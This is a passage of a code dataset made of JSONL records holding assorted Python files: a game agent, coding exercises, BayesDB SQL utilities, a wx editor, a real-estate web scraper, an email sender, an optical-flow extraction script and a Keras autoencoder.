JUMPING\n if self.is_jumping or self.y < Const.DINO_OFFSET_TOP:\n window.blit(pygame.transform.scale(self.running_images[0],\n (Const.DINO_WIDTH, Const.DINO_HEIGHT)), (self.x, self.y))\n\n # DUCKING\n if self.y == Const.DINO_OFFSET_TOP_DUCKING:\n if self.frame_duck >= 16:\n self.frame_duck = 0\n window.blit(pygame.transform.scale(self.ducking_images[self.frame_duck // 8],\n (Const.DINO_WIDTH_DUCKING, Const.DINO_HEIGHT_DUCKING)), (self.x, self.y))\n self.frame_duck += 1\n\n\n # Draw rect on agent\n pygame.draw.rect(window, self.color, (self.x, self.y, self.w, self.h), 1)\n\n # Reset\n self.is_running = False\n self.is_ducking = False\n\n def update(self, action):\n\n # update agent state and score based on given action\n\n # RUN\n if action == 0 and not self.is_jumping:\n self.score += 1\n self.y = Const.DINO_OFFSET_TOP\n self.w = Const.DINO_WIDTH\n self.h = Const.DINO_HEIGHT\n\n # JUMP\n if action == 2:\n self.is_jumping = True\n\n # DUCK\n if action == 1 and not self.is_jumping:\n self.score += 0.5 # Penalty for unnecessary duck\n self.y = Const.DINO_OFFSET_TOP_DUCKING\n self.w = Const.DINO_WIDTH_DUCKING\n self.h = Const.DINO_HEIGHT_DUCKING\n\n if self.is_jumping:\n self.score += 0.05 # Penalty for unnecessary jump\n self.w = Const.DINO_WIDTH\n self.h = Const.DINO_HEIGHT\n\n if self.jump_count_running_var >= -self.jump_count_const:\n negative = 1\n\n if self.jump_count_running_var < 0:\n negative = -1\n\n self.y -= numpy.power(numpy.abs(self.jump_count_running_var), 2) * 0.5 * negative\n self.jump_count_running_var -= 0.7\n\n else:\n self.is_jumping = False\n self.jump_count_running_var = self.jump_count_const\n\n self.y = Const.DINO_OFFSET_TOP\n self.w = Const.DINO_WIDTH\n self.h = Const.DINO_HEIGHT\n\n\n def observe(self, speed, obstacles):\n\n obstacle_distance_x = 1\n obstacle_distance_y = 1\n\n if not len(obstacles) == 0:\n obstacle_distance_x = (obstacles[0].x + self.x *(-1)) / Const.DISTANCE_OFFSET_X\n obstacle_distance_y = (obstacles[0].y) / Const.DISTANCE_OFFSET_Y\n\n dino_y = self.y / Const.DISTANCE_OFFSET_Y\n dino_y_vel = self.jump_count_running_var / 30\n game_speed = speed / 200\n\n observation = numpy.array([obstacle_distance_x, obstacle_distance_y, dino_y, dino_y_vel, game_speed])\n\n return observation","sub_path":"NeuroEvolution/dinosaur_agent.py","file_name":"dinosaur_agent.py","file_ext":"py","file_size_in_byte":4970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"553512519","text":"def bunnyEars2(line):\n\tif(line<= 0):\n\t\treturn 0\n\telif (line % 2 == 1):\t\t#odd bunny has two ears\n\t\ttotalEars=2\n\telif (line % 2 == 0):\t\t#even bunny has three ears\n\t\ttotalEars=3\n\treturn bunnyEars2(line-1) + totalEars\n\nnumBunny=int(input(\"How many lines of bunnies? \"))\nif numBunny==0:\n\t\tprint(\"bunnyEars2(0) -> 0\")\nelse:\n\t\tprint(\"bunnyEars2(\" + str(numBunny) + \") ->\", bunnyEars2(numBunny))\n\n\n\n\t\n","sub_path":"hw3_bunny.py","file_name":"hw3_bunny.py","file_ext":"py","file_size_in_byte":393,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"292640801","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n# ylgongPw @ 2020-02-08 15:05:43\n\nclass Solution:\n def strStr(self, haystack: str, needle: str) -> int:\n length = len(haystack)\n step = len(needle)\n\n if haystack == \"\" and needle == \"\":\n return 0\n elif needle == \"\" and haystack != \"\":\n return 0\n elif haystack == \"\" and needle != \"\":\n return -1\n else:\n pass\n\n for i in range(length):\n stop = i+step\n if stop > length:\n break\n if haystack[i:stop] == needle:\n return i\n return -1\n\n\nif __name__ == '__main__':\n haystack = \"mississippi\"\n needle = \"a\"\n index = Solution().strStr(haystack,needle)\n print (index)\n\n\n","sub_path":"28/28-my.py","file_name":"28-my.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"548107571","text":"# -*- coding: utf-8 -*-\n\n# Copyright (c) 2010-2016, MIT Probabilistic Computing Project\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport itertools\n\nimport pandas as pd\nimport numpy as np\n\nfrom bayeslite import bql_quote_name\n\nfrom bayeslite.core import bayesdb_has_table\nfrom bayeslite.core import bayesdb_table_column_names\nfrom bayeslite.core import bayesdb_table_has_column\n\nfrom bayeslite.util import cursor_value\nfrom bayeslite.util import casefold\n\n\ndef nullify(bdb, table, value):\n \"\"\"Replace specified values in a SQL table with ``NULL``.\"\"\"\n qtable = bql_quote_name(table)\n cursor = bdb.sql_execute('pragma table_info(%s)' % (qtable,))\n columns = [row[1] for row in cursor]\n if value == '\\'\\'':\n sql = 'UPDATE %s SET {0} = NULL WHERE {0} = \\'\\'' % (qtable,)\n else:\n sql = 'UPDATE %s SET {0} = NULL WHERE {0} = ?' % (qtable,)\n cells_changed = 0\n for col in columns:\n qcol = bql_quote_name(col)\n old_changes = bdb._sqlite3.totalchanges()\n bdb.sql_execute(sql.format(qcol), (value,))\n rows_changed = bdb._sqlite3.totalchanges() - old_changes\n cells_changed += rows_changed\n return cells_changed\n\n\ndef cardinality(bdb, table, columns=None):\n \"\"\"Compute the number of unique values in the columns of a table.\"\"\"\n qtable = bql_quote_name(table)\n # If no columns specified then use all.\n if not columns:\n cursor = bdb.sql_execute('PRAGMA table_info(%s)' % (qtable,))\n columns = [row[1] for row in cursor]\n names = []\n counts = []\n for column in columns:\n qcolumn = bql_quote_name(column)\n cursor = bdb.sql_execute('''\n SELECT COUNT (DISTINCT %s) FROM %s\n ''' % (qcolumn, qtable))\n names.append(column)\n counts.append(cursor_value(cursor))\n return pd.DataFrame({'name': names, 'distinct_count': counts})\n\n\ndef cursor_to_df(cursor):\n \"\"\"Converts SQLite3 cursor to a pandas DataFrame.\"\"\"\n # Perform in savepoint to enable caching from row to row in BQL queries.\n with cursor.connection.savepoint():\n df = pd.DataFrame.from_records(cursor, coerce_float=True)\n if not df.empty:\n df.columns = [desc[0] for desc in cursor.description]\n for col in df.columns:\n try:\n df[col] = df[col].astype(float)\n except ValueError:\n pass\n return df\n\n\ndef query(bdb, bql, bindings=None, logger=None):\n \"\"\"Execute the `bql` query on the `bdb` instance.\"\"\"\n if bindings is None:\n bindings = ()\n if logger:\n logger.info(\"BQL [%s] %s\", bql, bindings)\n cursor = bdb.execute(bql, bindings)\n return cursor_to_df(cursor)\n\n\ndef subsample_table_columns(bdb, table, new_table, limit, keep, drop, seed):\n \"\"\"Return a subsample of the columns in the table.\"\"\"\n if not bayesdb_has_table(bdb, table):\n raise ValueError('No such table: %s' % (table,))\n if bayesdb_has_table(bdb, new_table):\n raise ValueError('Table already exists: %s' % (new_table,))\n keep = map(casefold, keep)\n drop = map(casefold, drop)\n skip = keep + drop\n unknown = [\n column for column in skip\n if not bayesdb_table_has_column(bdb, table, column)\n ]\n if unknown:\n raise ValueError('No such columns: %s' % (unknown,))\n overlap = [column for column in drop if column in keep]\n if overlap:\n raise ValueError('Cannot both drop and keep columns: %s' % (overlap,))\n num_sample = limit - len(keep)\n if num_sample < 0:\n raise ValueError('Must sample at least as many columns to keep.')\n subselect_columns = [\n column for column in bayesdb_table_column_names(bdb, table)\n if casefold(column) not in skip\n ]\n rng = np.random.RandomState(seed)\n subsample_columns = rng.choice(\n subselect_columns,\n replace=False,\n size=min(len(subselect_columns), num_sample)\n )\n qt = bql_quote_name(table)\n qnt = bql_quote_name(new_table)\n qc = ','.join(map(bql_quote_name, itertools.chain(keep, subsample_columns)))\n cursor = bdb.execute('''\n CREATE TABLE %s AS SELECT %s FROM %s\n ''' % (qnt, qc, qt))\n return cursor_to_df(cursor)\n","sub_path":"src/utils_bql.py","file_name":"utils_bql.py","file_ext":"py","file_size_in_byte":4708,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"477458428","text":"import wx\nimport wx.lib.docview\n\nimport ocsedit.xmlformat\nfrom ocsedit.objects import ObjectClassList, ObjectClassPropertyList\n\nclass OCSEdit(wx.App):\n def OnInit(self):\n self.SetAppName(\"OCSEdit\")\n\n docmanager = wx.lib.docview.DocManager()\n docmanager.AssociateTemplate(wx.lib.docview.DocTemplate(\n docmanager,\n \"Decompiled Achron OCS XML\",\n \"*.xml\",\n \"\",\n \".ocs.xml\",\n \"Achron OCS XML file\",\n \"Achron OCS XML View\",\n OCSXMLDocument,\n ClassListView))\n\n main_frame = MainFrame(docmanager, parent=None)\n self.SetTopWindow(main_frame)\n main_frame.Show()\n\n return True\n\n\nclass OCSXMLDocument(wx.lib.docview.Document):\n \"\"\"A Document for OCS XML files.\"\"\"\n\n def DeleteContents(self):\n self.data = ocsedit.xmlformat.new()\n\n def LoadObject(self, file_):\n self.data = ocsedit.xmlformat.load(file_)\n\n def SaveObject(self, file_):\n with wx.BusyCursor():\n file_.seek(0)\n self.data.write(file_, xml_declaration=False)\n file_.truncate()\n file_.flush()\n\n\nclass ClassListView(wx.lib.docview.View):\n \"\"\"A View showing the object classes in an OCS XML.\"\"\"\n\n def OnCreate(self, doc, flags):\n main_frame = wx.GetApp().GetTopWindow()\n frame = ClassListViewFrame(doc, self, main_frame)\n self.SetFrame(frame)\n frame.Show()\n self.Activate()\n return True\n\n def OnUpdate(self, view, hint):\n if view is not self:\n self.GetFrame().classlist.populate(self.GetDocument().data)\n\n def OnClose(self, deleteWindow=True):\n if not self.GetDocument().Close():\n return False\n self.Activate(False)\n if deleteWindow:\n self.GetFrame().Close()\n return True\n\n\nclass ClassListViewFrame(wx.lib.docview.DocChildFrame):\n \"\"\"A frame containing a list of object classes.\"\"\"\n def __init__(self, doc, view, parent):\n super(ClassListViewFrame, self).__init__(doc, view, parent, wx.ID_ANY, title=doc.GetFilename())\n self.classlist = ObjectClassList(self)\n self.Bind(wx.EVT_TREE_ITEM_ACTIVATED, self.LoadClass, self.classlist)\n\n def LoadClass(self, e):\n objectclass = self.classlist.GetItemData(e.GetItem()).GetData()\n\n if objectclass:\n frame = wx.Frame(self, title=\"%s - %s\" % (objectclass.findtext(\"Name\"), self.GetTitle()))\n proplist = ObjectClassPropertyList(frame)\n proplist.populate(objectclass)\n self.Bind(wx.grid.EVT_GRID_CELL_CHANGE, self.OnGridModified, proplist)\n frame.Fit()\n frame.Show()\n\n def OnGridModified(self, e):\n self.GetDocument().Modify(True)\n\n\nclass MainFrame(wx.lib.docview.DocParentFrame):\n title = \"OCSEdit\"\n\n def __init__(self, docmanager, parent):\n super(MainFrame, self).__init__(docmanager, parent, id=wx.ID_ANY, title=self.title)\n\n # Create file menu\n filemenu = wx.Menu()\n filemenu.Append(wx.ID_NEW)\n filemenu.Append(wx.ID_OPEN)\n filemenu.Append(wx.ID_SAVE)\n filemenu.Append(wx.ID_SAVEAS)\n filemenu.AppendSeparator()\n filemenu.Append(wx.ID_CLOSE)\n filemenu.AppendSeparator()\n filemenu.Append(wx.ID_EXIT)\n\n menubar = wx.MenuBar()\n menubar.Append(filemenu, '&File')\n self.SetMenuBar(menubar)\n\n\nif __name__ == '__main__':\n app = OCSEdit(False)\n app.MainLoop()\n","sub_path":"ocsedit/__main__.py","file_name":"__main__.py","file_ext":"py","file_size_in_byte":3517,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"260893308","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Sep 26 21:02:14 2019\n\n@author: pathouli\n\"\"\"\n\n#lecture 1 examples\n\n#variables do not a number != \na_2 = 'hello'\nprint (a_2)\na = 1\na*5\n\n#string concatenation\nthe_str = a_2 + ' ' + 'students'\nprint (the_str)\n\nthe_str_ex = a_2 + str(a)\nprint (the_str_ex)\n\nmy_list = list()\nmy_list.append(1)\nmy_list.append(2)\nmy_list.append('bv')\nmy_list.append(2)\n\nmy_list[0]\nmy_list[1]\nmy_list[2]\n\nprint (len(my_list))\n\nmy_list_ex = [1,2]\n\n#unique storage\nthe_set = set()\nthe_set.add(1)\nthe_set.add(2)\nthe_set.add('bv')\nthe_set.add(2)\nthe_set.add('Bv')\nthe_set.add('bv')\n\n#dictionary\nthe_dictionary = {'key_a': 34}\nthe_keys = the_dictionary.keys()\nthe_values = the_dictionary.values()\nthe_dictionary['key_b'] = 45\nthe_dictionary['key_a'] = 656\n\n#loops\nfor word in my_list:\n print (word)\n\nfor k,v in zip(the_dictionary.keys(),the_dictionary.values()):\n print (k)\n print (v)\n\n#strings\nthe_string = \"the trout jumped up the waterfall into a bears mouth\"\n\nfor word in the_string:\n print (word)\n \nimport re\n\nthe_new_string = re.sub('bear', 'mountain lion', the_string)\n\nfor word in the_string.split():\n print (word)\n \nthe_string = \"the #$%trout jumped!!! up the!!3434 waterfall 43434 into a bears mouth!!!!\"\nthe_new_string = re.sub('[^A-z]+', ' ', the_string)\n\nmy_numbers = [1,2,3,4,5,6]\n\nmy_num_list = list()\nfor word in my_numbers:\n my_num_list.append(word%2)\n\nmy_num_list_new = [word%2 for word in my_numbers]\n\n","sub_path":"ex_file.py","file_name":"ex_file.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"600634573","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom threading import Thread\n\ndef fn():\n y = 0\n for x in range(0, 10000000):\n y += 1\n\ndef process():\n for i in range(10):\n t = Thread(target=fn)\n t.start()\n\ndef fibonacci(n):\n if n <=2:\n return 1\n else:\n return fibonacci(n - 1) + fibonacci(n - 2)\n\ndef iterative_fibonacci(n):\n if n < 2:\n return n\n fibPrev = 1\n fib = 1\n for num in range(2, n):\n fibPrev, fib = fib, fib + fibPrev\n return fib\n\nif __name__ == \"__main__\":\n #process()\n f = iterative_fibonacci(40)\n print(\"fib: \", f)\n print(\"done\")\n","sub_path":"not_embed.py","file_name":"not_embed.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"588389745","text":"import requests\r\nimport re\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup as bs\r\nfrom datetime import datetime\r\nimport time\r\nfrom tools import WriteToExcel, WriteToExcel_df\r\n\r\n\r\n\r\ndef GetPages(url):\r\n headers ={'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36'}\r\n cookies ={'Cookie': 'BAIDUID=A467EBC2C2D0C1F5CE71C86F2D851B89:FG=1; PSTM=1569895226; BIDUPSID=9BD73512109ADEBC79D0E6031A361FF2; ab_jid=3401447befc2a1f1fb58e1332e7a70a45049; ab_jid=3401447befc2a1f1fb58e1332e7a70a45049; ab_jid_BFESS=3401447befc2a1f1fb58e1332e7a70a45049; BDORZ=B490B5EBF6F3CD402E515D22BCDA1598'}\r\n text = requests.get(url, headers=headers, cookies = cookies).text\r\n soup = bs(text, features='lxml')\r\n list_of_info = soup.findAll(name='ul', attrs={'class':'listContent'})\r\n \r\n # pages = re.findall('2')\r\n title_all = list_of_info[0].findAll(name='div',attrs={'class':'title'})\r\n houseinfo = list_of_info[0].findAll(name='div',attrs={'class':'houseInfo'})\r\n dealdate = list_of_info[0].findAll(name='div',attrs={'class':'dealDate'})\r\n totalprice = list_of_info[0].findAll(name='div',attrs={'class':'totalPrice'})\r\n positioninfo = list_of_info[0].findAll(name='div',attrs={'class':'positionInfo'})\r\n unitprice = list_of_info[0].findAll(name='div',attrs={'class':'unitPrice'})\r\n dealhouseinfo = list_of_info[0].findAll(name='div',attrs={'class':'dealHouseInfo'})\r\n dealquote = list_of_info[0].findAll(name='div',attrs={'class':'dealCycleeInfo'})\r\n \r\n block = [i.text.split(' ')[0] for i in title_all]\r\n rooms = [i.text.split(' ')[1] for i in title_all]\r\n area = []\r\n for i in title_all:\r\n if len(i.text.split(' '))==3:\r\n area.append(float(i.text.split(' ')[2][:-2]))\r\n else:\r\n area.append(10)\r\n direction = [i.text.split('|')[0] for i in houseinfo]\r\n decoration = [i.text.split('|')[1] for i in houseinfo]\r\n date =[]\r\n for i in dealdate:\r\n if len(i.text.split('.'))==2:\r\n date.append(datetime.strptime(i.text,'%Y.%m'))\r\n else:\r\n date.append(datetime.strptime(i.text,'%Y.%m.%d'))\r\n year = [i.year for i in date]\r\n month = [i.month for i in date]\r\n price = [i.text[:-1] for i in totalprice]\r\n AveragePrice = []\r\n for i in price:\r\n if '-' in i:\r\n a = float(i.split('-')[0])\r\n b = float(i.split('-')[1])\r\n AveragePrice.append((a+b)/2)\r\n else:\r\n AveragePrice.append(float(i))\r\n position = [i.text for i in positioninfo]\r\n price_per_m2 = [i.text[:-3] for i in unitprice]\r\n average_unit_price=[]\r\n for i in price_per_m2:\r\n try:\r\n if '-' in i:\r\n a = float(i.split('-')[0])\r\n b = float(i.split('-')[1])\r\n average_unit_price.append((a+b)/2)\r\n else:\r\n average_unit_price.append(float(i))\r\n except:\r\n average_unit_price.append('N/A')\r\n \r\n House_info = [i.text for i in dealhouseinfo]\r\n deal_info = [i.text for i in dealquote]\r\n quote = [re.findall('牌(\\d*)', i.text) for i in dealquote]\r\n cycletime = [re.findall('期(\\d*)', i.text) for i in dealquote]\r\n \r\n data = pd.DataFrame({'block':block, \r\n 'rooms':rooms,\r\n 'area':area,\r\n 'direction':direction,\r\n 'decoration':decoration,\r\n 'deal date':date,\r\n 'year':year,\r\n 'month':month,\r\n 'deal price range':price,\r\n 'deal price':AveragePrice,\r\n 'position':position,\r\n 'unit price range':price_per_m2,\r\n 'unit price':average_unit_price\r\n # 'house info':House_info,\r\n # 'deal info':deal_info,\r\n # 'quotation':quote,\r\n # 'cycle time':cycletime\r\n })\r\n \r\n return data\r\n\r\n \r\ndef PriceInfo(url,headers, cookies):\r\n text = requests.get(url, headers=headers, cookies = cookies).text\r\n soup = bs(text)\r\n rooms =[i.text.strip().split('|')[0] for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n area = [float(i.text.strip().split('|')[1][:-3]) for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n direction = [i.text.strip().split('|')[2] for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n decoration = [i.text.strip().split('|')[3] for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n floor = [i.text.strip().split('|')[4] for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n year = [int(i.text.strip().split('|')[5][:-3].strip()) for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n buildingtype = [i.text.strip().split('|')[6] for i in soup.findAll(name='div', attrs={'class':'houseInfo'})]\r\n price = [float(i.text[:-1]) for i in soup.findAll(name = 'div', attrs={'class':'totalPrice'})]\r\n block =[i.text.strip() for i in soup.findAll(name='a', attrs={'data-el':'region'})]\r\n return pd.DataFrame({'block':block,'rooms':rooms, 'area':area, 'price':price, 'direction':direction,'decoration':decoration,'floor':floor, 'year':year, 'building type':buildingtype})\r\n\r\ndef UrlGenerator(block, pages):\r\n \r\n pageinfo =['']\r\n url_list=[]\r\n for i in range(1,pages+1):\r\n pageinfo.append('pg'+str(i))\r\n \r\n url_part1 = r'https://bj.lianjia.com/chengjiao/'\r\n if block == 'gjc':\r\n for i in pageinfo:\r\n url = url_part1+i+r'c1111027382441/?sug=%E4%B8%AD%E5%9B%BD%E9%93%81%E5%BB%BA%E5%9B%BD%E9%99%85%E5%9F%8E'\r\n url_list.append(url)\r\n elif block == 'rzgg':\r\n for i in pageinfo:\r\n url = url_part1+i+r'c1111045303586/?sug=润泽公馆'\r\n url_list.append(url) \r\n elif block == 'hmc':\r\n for i in pageinfo:\r\n url = url_part1+i+r'c1111027375158rs华贸城/'\r\n url_list.append(url) \r\n elif block == 'shbj':\r\n for i in pageinfo:\r\n url = url_part1+i+r'c1111041153546/?sug=世华泊郡'\r\n url_list.append(url)\r\n elif block == 'fxdd':\r\n url = url_part1+i+r'c1111027379985/?sug=天润福熙大道'\r\n url_list.append(url) \r\n return url_list\r\n\r\n\r\ndef main():\r\n # url = r'https://bj.lianjia.com/ershoufang/c1111027382441rs%E5%9B%BD%E9%99%85%E5%9F%8E/'\r\n url_for_sale= r'https://bj.lianjia.com/ershoufang/c1111027382441/?sug=%E4%B8%AD%E5%9B%BD%E9%93%81%E5%BB%BA%E5%9B%BD%E9%99%85%E5%9F%8E'\r\n url_historical = r'https://bj.lianjia.com/chengjiao/c1111027382441/?sug=%E4%B8%AD%E5%9B%BD%E9%93%81%E5%BB%BA%E5%9B%BD%E9%99%85%E5%9F%8E'\r\n pages_gjc = 13\r\n pages_rzgg =11\r\n pages_shbj =14\r\n pages_hmc = 50\r\n \r\n blocks ={\r\n 'gjc':13,\r\n 'rzgg':11,\r\n 'shbj':14,\r\n 'hmc':50,\r\n 'fxdd':9\r\n }\r\n \r\n # url_historical_list=[]\r\n # url_historical_list.append(url_historical)\r\n # for i in range(2,pages+1):\r\n # url = r'https://bj.lianjia.com/chengjiao/'+'pg'+str(i)+r'c1111027382441/?sug=%E4%B8%AD%E5%9B%BD%E9%93%81%E5%BB%BA%E5%9B%BD%E9%99%85%E5%9F%8E'\r\n # url_historical_list.append(url)\r\n # data_list = []\r\n data =pd.DataFrame()\r\n for block in blocks:\r\n for i in UrlGenerator(block,blocks[block]):\r\n pagedata = GetPages(i)\r\n data = pd.concat([data,pagedata])\r\n # data_list.append(data)\r\n \r\n \r\n filename = 'lianjia historical data'+' '+ time.ctime().replace(':','_')+'.xlsx'\r\n with pd.ExcelWriter(filename) as writer:\r\n data.to_excel(writer, sheet_name = datetime.today().strftime('%Y-%m-%d'))\r\n \r\n # data_rzgg =pd.DataFrame()\r\n \r\n # for i in UrlGenerator('gjc',pages_gjc):\r\n # pagedata = GetPages(i)\r\n # data_gjc = pd.concat([data_gjc,pagedata])\r\n \r\n # data_list.append(data_gjc) \r\n \r\n \r\n # WriteToExcel('lianjia','lianjia', data) \r\n\r\n # Price = PriceInfo(url,headers,cookies)\r\n # with pd.ExcelWriter('Lianjia historical info.xlsx') as Writer:\r\n # data.to_excel(Writer, sheet_name = 'Lianjia')\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"Lianjia data.py","file_name":"Lianjia data.py","file_ext":"py","file_size_in_byte":8459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"446221046","text":"__author__ = 'yjxiong'\n\nfrom multiprocessing import Pool, current_process\nimport argparse\nimport cv2\nimport os\nimport re\n\nsrc_path = ''\nout_path = ''\n\nbin_cpu = None\nbin_gpu = None\nbin_warp_cpu = None\nbin_warp_gpu = None\n\ndry_run = False\nflow_type = None\nnum_gpu = None\n\ndef dump_frames(vid_path):\n video = cv2.VideoCapture(vid_path)\n vid_name = vid_path.split('/')[-1].split('.')[0]\n out_full_path = os.path.join(out_path, vid_name)\n\n fcount = int(video.get(cv2.cv.CV_CAP_PROP_FRAME_COUNT))\n try:\n os.mkdir(out_full_path)\n except OSError:\n pass\n file_list = []\n for i in range(fcount):\n ret, frame = video.read()\n assert ret\n cv2.imwrite('{}/{:06d}.jpg'.format(out_full_path, i), frame)\n access_path = '{}/{:06d}.jpg'.format(vid_name, i)\n file_list.append(access_path)\n print('{} done'.format(vid_name))\n return file_list\n\n\ndef mkdir_p(dname):\n if os.path.exists(dname):\n return\n\n parent_dir = os.path.abspath(os.path.join(dname, os.path.pardir))\n\n if not os.path.exists(parent_dir):\n mkdir_p(parent_dir)\n\n try:\n os.mkdir(dname)\n except IOError:\n pass\n\n\ndef relative_path(base, path):\n path = path.replace(base, '')\n path = re.sub('^/', '', path)\n return path\n\ndef run_optical_flow(vid_item, dev_id=0):\n vid_path = vid_item[0]\n vid_id = vid_item[1]\n try:\n vid_name = relative_path(src_path, vid_path).split('.')[0]\n out_dir = os.path.join(out_path, vid_name)\n mkdir_p(out_dir)\n\n #print(\"vid_path=\", vid_path)\n #print(\"out_dir=\", out_dir)\n current = current_process()\n dev_id = int(current._identity[0]) - 1\n image_path = os.path.join(out_dir, 'img')\n flow_x_path = os.path.join(out_dir, 'flow_x')\n flow_y_path = os.path.join(out_dir, 'flow_y')\n\n if os.path.exists(flow_x_path + \"_00001.jpg\"):\n print('Skip {} {}'.format(vid_id, vid_name))\n return\n\n if int(current._identity[0]) < num_gpu:\n gpu = True\n else:\n gpu = False\n\n if flow_type == 'tvl1':\n bin = bin_gpu if gpu else bin_cpu\n elif flow_type == 'warp_tvl1':\n bin = bin_warp_gpu if gpu else bin_warp_cpu\n\n cmd = '{} -f={} -x={} -y={} -i={} -b=20 -t=1 -d={} -s=1 -o=dir'.format(bin,\n vid_path,\n flow_x_path,\n flow_y_path,\n image_path,\n dev_id)\n \n if dry_run:\n print(cmd)\n else:\n os.system(cmd)\n print('DONE {} {}'.format(vid_id, vid_name))\n except:\n print('ERR {} {}'.format(vid_id, vid_name))\n\n return True\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"extract optical flows\")\n parser.add_argument(\"src_dir\")\n parser.add_argument(\"out_dir\")\n parser.add_argument(\"--num_worker\", type=int, default=8)\n parser.add_argument(\"--num_gpu\", type=int, default=None)\n parser.add_argument(\"--flow_type\", type=str, default='tvl1', choices=['tvl1', 'warp_tvl1'])\n parser.add_argument(\"--bindir\", type=str, default=os.getcwd())\n parser.add_argument(\"--limit\", type=int, default=0)\n parser.add_argument('--cpu', action='store_true', default=False)\n parser.add_argument('--dry', action='store_true', default=False)\n\n args = parser.parse_args()\n\n out_path = args.out_dir\n src_path = args.src_dir\n num_worker = args.num_worker\n flow_type = args.flow_type\n dry_run = args.dry\n num_gpu = args.num_gpu\n\n assert num_gpu >= 0\n \n bin_cpu = os.path.join(args.bindir, 'extract_cpu')\n bin_warp_cpu = os.path.join(args.bindir, 'extract_warp_cpu')\n bin_gpu = os.path.join(args.bindir, 'extract_gpu')\n bin_warp_gpu = os.path.join(args.bindir, 'extract_warp_gpu')\n\n vid_list = [os.path.join(dp, f)\n for dp, dn, files in os.walk(src_path)\n for f in files if f.endswith('.mp4')]\n\n if args.limit > 0:\n vid_list = vid_list[:args.limit]\n\n pool = Pool(num_worker)\n pool.map(run_optical_flow, zip(vid_list, range(len(vid_list))))\n","sub_path":"build_of.py","file_name":"build_of.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"320391683","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport sys, os, string, re, time, datetime, smtplib, traceback, subprocess, os.path, getopt\nimport linecache\n\nfrom email.MIMEMultipart import MIMEMultipart\nfrom email.MIMEBase import MIMEBase\nfrom email.MIMEText import MIMEText\nfrom email.Utils import COMMASPACE, formatdate\nfrom email import Encoders\n\nmailhost = '10.85.17.33'\n\nsender = 'QCS.Hudson@Qisda.com'\nreceiver = 'Adil.Zhu@Qisda.com'\nmsg = MIMEMultipart()\n\nmsg['From'] = sender\nmsg['To'] = receiver\nmsg['Subject'] = 'Tomorrow will be better ...'\n\n### content\ntext = 'Hello World !'\nmsg.attach(MIMEText(text, 'html'))\n\n### attachment\natt1 = MIMEText(open('z.attach_01.txt', 'rb').read(), 'base64', 'utf-8')\natt1[\"Content-Type\"] = 'application/octet-stream'\natt1[\"Content-Disposition\"] = 'attachment; filename=\"test-A.txt\"'\nmsg.attach(att1)\n\n### attachment\natt2 = MIMEText(open('z.attach_02.txt', 'rb').read(), 'base64', 'utf-8')\natt2[\"Content-Type\"] = 'application/octet-stream'\natt2[\"Content-Disposition\"] = 'attachment; filename=\"test-B.txt\"'\nmsg.attach(att2)\n\nmessage = msg.as_string()\n\nmailport = smtplib.SMTP(mailhost)\nmailport.sendmail(sender, receiver, message)\n\nmailport.quit()\n","sub_path":"m.mail/b.attach.py","file_name":"b.attach.py","file_ext":"py","file_size_in_byte":1191,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"52"} +{"seq_id":"325227468","text":"import re\nimport h5py\nimport json\nimport random\nimport tarfile\nimport itertools\nimport visualization\nimport classification\nimport numpy as np\nimport keras as ks\nimport tensorflow as tf\nimport sklearn.model_selection as model_selection\n\nencoding_size = 15\ncnn_layers = 32\n\ndef get_fashion_encoder_model():\n\n model_layers = [ks.layers.InputLayer(input_shape=(28, 28,1))]\n\n # Convolutional layers (5 x (Conv + Max Pool))\n for n_filters in cnn_layers * 2 ** np.array(range(2)):\n model_layers.append(ks.layers.Conv2D(\n filters=n_filters, kernel_size=(3, 3),\n activation='relu', padding='same',\n ))\n model_layers.append(ks.layers.MaxPooling2D(pool_size=(2, 2)))\n\n # Dense layers\n model_layers += [\n ks.layers.Flatten(),\n ks.layers.Dense(25, activation='relu'),\n ks.layers.Dense(7*7*64, activation='relu'),\n ks.layers.Reshape((7, 7, 64))\n ]\n\n # Deconvolutional layers\n for n_filters in list(128 // 2 ** np.array(range(1))) + [1]:\n model_layers.append(ks.layers.Deconvolution2D(\n 